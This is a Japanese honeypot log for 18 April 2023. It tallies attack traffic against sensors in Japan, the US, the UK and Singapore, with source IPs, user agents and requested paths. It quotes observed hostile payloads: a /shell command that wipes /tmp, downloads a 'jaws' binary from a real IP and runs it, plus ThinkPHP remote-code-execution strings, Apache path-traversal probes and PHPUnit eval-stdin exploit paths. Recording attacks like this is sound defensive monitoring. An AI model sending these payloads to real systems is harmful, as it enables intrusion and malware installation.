2023/04/18 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/04/18分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
aiohttpによるスキャン行為
masscanによるスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 167.71.210.63/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 45.81.243.34/jaws;
sh /tmp/jaws

Location:US

aiohttpによるスキャン行為
masscanによるスキャン行為
.jsへのスキャン行為

を確認しました。

Location:UK

D-link製品の脆弱性を狙うアクセス
masscanによるスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

Location:SG

NetGear製品の脆弱性を狙うアクセス

を確認しました。

他

アクセス数推移

JP：総アクセス数：137 (前日比：5)
US：総アクセス数：82 (前日比：-34)
UK：総アクセス数：148 (前日比：-41)
SG：総アクセス数：118 (前日比：-105)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	13.233.131.91	United States
2	18.218.85.108	United States
3	20.55.58.5	United States
1	20.150.197.95	United States
2	34.28.143.220	United States
6	34.130.182.65	United States
1	35.195.181.1	United States
33	35.245.65.123	United States
18	43.154.141.71	Singapore
1	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.181.104	United States
1	45.79.181.223	United States
1	45.154.98.26	Belgium
1	47.16.77.51	United States
2	62.210.207.17	France
1	79.124.59.170	Bulgaria
1	102.89.23.185	Nigeria
1	102.218.36.65	Uganda
1	104.192.0.50	United States
8	109.237.96.51	Russia
1	109.237.97.180	Russia
2	109.237.98.226	Russia
1	134.122.135.59	Singapore
7	135.125.244.48	France
8	135.125.246.189	France
1	167.94.138.126	United States
1	167.94.138.127	United States
2	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.11.46	United States
1	172.104.11.51	United States
2	172.105.128.11	United States
1	172.105.128.13	United States
7	185.180.143.18	Portugal
4	185.254.196.173	Ukraine
1	192.227.173.18	United States
1	192.241.225.17	United States
1	192.241.225.41	United States
1	193.35.18.12	Bulgaria
1	193.35.18.32	Bulgaria
1	193.47.61.4	Bulgaria
1	195.88.24.240	United States
1	198.199.105.223	United States
2	216.218.206.67	United States

UserAgent一覧

件数	UserAgent
23	`-`
3	`Go-http-client/1.1`
2	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; Android 11; RMX1851) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36`
18	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
33	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36`
24	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
1	`Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7`
2	`Mozilla/5.0 zgrab/0.x`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
2		`\x16\x03\x01\x01H\x01`
13		`\x16\x03\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
28	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`//MyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`//myadmin/scripts/setup.php`	HTTP/1.1
1	GET	`//phpMyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`//phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`//pma/scripts/setup.php`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/app/config/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/audio/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/base/.env`	HTTP/1.1
1	GET	`/blog/.env`	HTTP/1.1
1	GET	`/cgi-bin/.env`	HTTP/1.1
1	GET	`/conf/.env`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/crm/.env`	HTTP/1.1
1	GET	`/database/.env`	HTTP/1.1
1	GET	`/donghuapian/baishe2qingshejieqi/`	HTTP/1.1
1	GET	`/ec2-18-179-20-5.ap-northeast-1.compute.amazonaws.com./.env`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/geoserver`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/index/about/index.html`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/library/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login.html`	HTTP/1.0
1	GET	`/muieblackcat`	HTTP/1.1
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/newsite/.env`	HTTP/1.1
1	GET	`/old/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/pub/god`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+167[.]71[.]210[.]63/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]81[.]243[.]34/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/sites/all/libraries/mailchimp/.env`	HTTP/1.1
1	GET	`/solr/`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/v3/time`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/vendor/laravel/.env`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/webfig/`	HTTP/1.1
1	GET	`/wp-admin/.env`	HTTP/1.1
1	GET	`/wp-content/.env`	HTTP/1.1
1	GET	`/www/.env`	HTTP/1.1
1	GET	`http[:]//ip-api.com/json/18.179.20.5`	HTTP/1.1
18	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png`	HTTP/1.1
1	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/.%2e/%2e%2e/apache2/icons/sphere1.png`	HTTP/1.1
1	HEAD	`/icons/sphere1.png`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
3	18.218.85.108	United States
1	20.7.165.118	United States
3	20.55.58.5	United States
1	34.76.234.207	United States
5	35.177.215.19	United States
2	35.234.162.181	United States
2	45.79.128.205	United States
1	45.79.181.94	United States
2	45.79.181.251	United States
1	45.130.153.170	United States
1	47.88.6.178	United States
1	47.251.11.3	United States
20	54.37.79.75	France
1	79.124.59.170	Bulgaria
7	95.214.235.216	Ukraine
2	104.215.76.202	United States
1	107.170.250.11	United States
2	109.237.97.180	Russia
2	109.237.98.226	Russia
1	134.122.133.58	Singapore
1	152.89.196.54	Russia
2	167.94.145.57	United States
2	167.94.146.59	United States
2	172.104.11.46	United States
1	172.104.11.51	United States
2	172.105.128.11	United States
1	172.105.128.12	United States
1	172.105.128.13	United States
1	192.35.222.19	United States
1	192.241.201.16	United States
1	192.241.238.18	United States
1	193.35.18.251	Bulgaria
1	193.47.61.4	Bulgaria
1	194.87.151.116	Czechia
2	194.165.16.73	Panama
1	205.210.31.28	United States
2	216.218.206.69	United States

UserAgent一覧

件数	UserAgent
3	`'Cloud mapping experiment. Contact research@pdrlabs.net'`
24	`-`
2	`Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; Android 10; Redmi 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36`
34	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/99.3 Mobile/15E148 Safari/605.1.15`
3	`Mozilla/5.0 zgrab/0.x`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`\x03`
2		`\x16\x03\x01\x01H\x01`
16		`\x16\x03\x01`
1	GET	`/+CSCOE+/logon.html`	HTTP/1.1
35	GET	`/.env`	HTTP/1.1
3	GET	`/.git/config`	HTTP/1.1
1	GET	`/Public/home/js/check.js`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/index.html`	HTTP/1.1
1	GET	`/donghuapian/baishe2qingshejieqi/`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.html`	HTTP/1.1
1	GET	`/login.html`	HTTP/1.0
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/pub/god`	HTTP/1.1
1	GET	`/static/admin/javascript/hetong.js`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	PRI	`*`	HTTP/2.0
1	PROXY	`TCP4 192.35.222.19`

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
6	13.40.44.62	United States
1	18.218.85.108	United States
1	20.213.242.164	United States
1	27.124.12.21	Singapore
1	34.77.135.246	United States
2	35.233.162.44	United States
1	42.231.119.19	China
1	43.156.168.38	Singapore
1	45.33.80.243	United States
1	45.79.172.21	United States
2	45.79.181.104	United States
2	45.79.181.179	United States
1	45.79.181.251	United States
23	54.37.79.75	France
2	65.49.20.66	United States
1	66.240.192.82	United States
1	79.124.59.170	Bulgaria
2	90.151.171.108	Russia
1	95.135.130.101	Ukraine
5	95.214.235.216	Ukraine
1	107.170.245.9	United States
2	109.237.98.226	Russia
1	118.193.57.165	Hong Kong
2	138.197.152.201	United States
1	152.89.196.54	Russia
45	152.136.235.236	China
2	164.92.117.229	United States
6	165.154.134.205	Hong Kong
2	167.248.133.191	United States
1	172.104.11.4	United States
3	172.104.11.34	United States
2	172.104.11.46	United States
1	172.105.77.209	United States
1	172.105.89.161	United States
1	172.105.128.13	United States
2	176.65.9.112	Palestine
1	179.43.177.243	Panama
7	188.166.232.123	United States
1	192.35.222.19	United States
1	192.155.90.118	United States
2	192.155.90.220	United States
1	192.241.227.28	United States
1	193.35.18.32	Bulgaria
1	193.35.18.221	Bulgaria
1	193.47.61.4	Bulgaria
1	194.87.151.116	Czechia
1	198.199.96.214	United States
1	198.235.24.153	United States

UserAgent一覧

件数	UserAgent
4	`'Cloud mapping experiment. Contact research@pdrlabs.net'`
80	`-`
1	`Go-http-client/1.1`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0`
2	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
1	`Mozilla/5.0 (Windows NT 8_0; Win64; x64) AppleWebKit/580.49 (KHTML, like Gecko) Chrome/65.0.1504 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 8_0_1; Win64; x64) AppleWebKit/540.48 (KHTML, like Gecko) Chrome/67.0.544 Safari/537.36`
30	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/562.36 (KHTML, like Gecko) Chrome/57.0.774 Safari/537.36`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
6	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`-`
1		`MGLNDD_132.145.66.34_80\n`
1		`\x16\x03\x01\x01H\x01`
26		`\x16\x03\x01`
1	CONNECT	`checkip[.]amazonaws[.]com:443`	HTTP/1.1
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/+CSCOE+/logon.html`	HTTP/1.1
31	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
2	GET	`/aaa9`	HTTP/1.1
2	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/index.html`	HTTP/1.1
1	GET	`/agc/timeclock.php`	HTTP/1.1
1	GET	`/agent/timeclock.php`	HTTP/1.1
1	GET	`/axis2-admin/`	HTTP/1.1
1	GET	`/axis2/`	HTTP/1.1
1	GET	`/axis2/axis2-admin/`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.html`	HTTP/1.1
1	GET	`/ju/74336.html`	HTTP/1.1
1	GET	`/login.html`	HTTP/1.0
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/pub/god`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`http[:]//132[.]145[.]66[.]34:80/MyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/PHPMYADMIN/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/SQL/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/_phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/admin/phpmyadmin/scripts/setup.txt`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/admin/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/admin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/db/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/dbadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/myadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/mysql-admin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/mysqladmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/mysqlmanager/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/php-myadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/php/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.10.0.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.10.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.10.3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.0/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.1.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.4/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.7/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.9.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.4/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.5-pl1/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.5/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.7-pl1/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.8.0.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpmanager/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpmy-admin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/sqlmanager/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/sqlweb/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/web/phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/webadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/webdb/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/websql/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//checkip[.]amazonaws[.]com?Z72612114222Q1`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/goform/set_LimitClient_cfg`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	PRI	`*`	HTTP/2.0
1	PROXY	`TCP4 192.35.222.19`

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	18.218.85.108	United States
1	20.165.193.181	United States
1	27.124.12.23	Singapore
1	34.78.177.155	United States
1	34.79.76.142	United States
2	34.88.248.109	United States
1	45.12.147.2	Cyprus
1	45.33.80.243	United States
1	45.56.108.128	United States
2	45.79.128.205	United States
1	45.79.181.94	United States
2	45.79.181.104	United States
1	45.79.181.179	United States
2	45.79.181.223	United States
28	51.79.29.48	Canada
1	59.89.226.250	India
1	64.62.197.49	United States
1	64.62.197.58	United States
1	66.240.192.82	United States
34	104.211.220.126	United States
1	107.170.229.7	United States
1	109.237.97.180	Russia
2	109.237.98.226	Russia
1	143.244.41.219	United Kingdom
2	152.89.196.54	Russia
2	154.209.125.115	Seychelles
2	162.142.125.214	United States
2	162.142.125.215	United States
1	162.243.146.29	United States
1	162.243.148.12	United States
1	162.243.151.15	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.105.128.12	United States
1	179.43.177.243	Panama
1	183.136.225.42	China
1	193.35.18.221	Bulgaria
1	193.35.18.251	Bulgaria
1	193.47.61.4	Bulgaria
1	193.56.29.189	United Kingdom
1	194.55.224.203	Bulgaria
2	194.87.151.116	Czechia
1	198.235.24.132	United States
1	205.185.116.25	United States
3	212.87.204.23	Bulgaria

UserAgent一覧

件数	UserAgent
25	`-`
3	`Go-http-client/1.1`
1	`Mozilla/5.0 (Linux; Android 5.0.1; SCH-R970 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36`
33	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
31	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36`
6	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
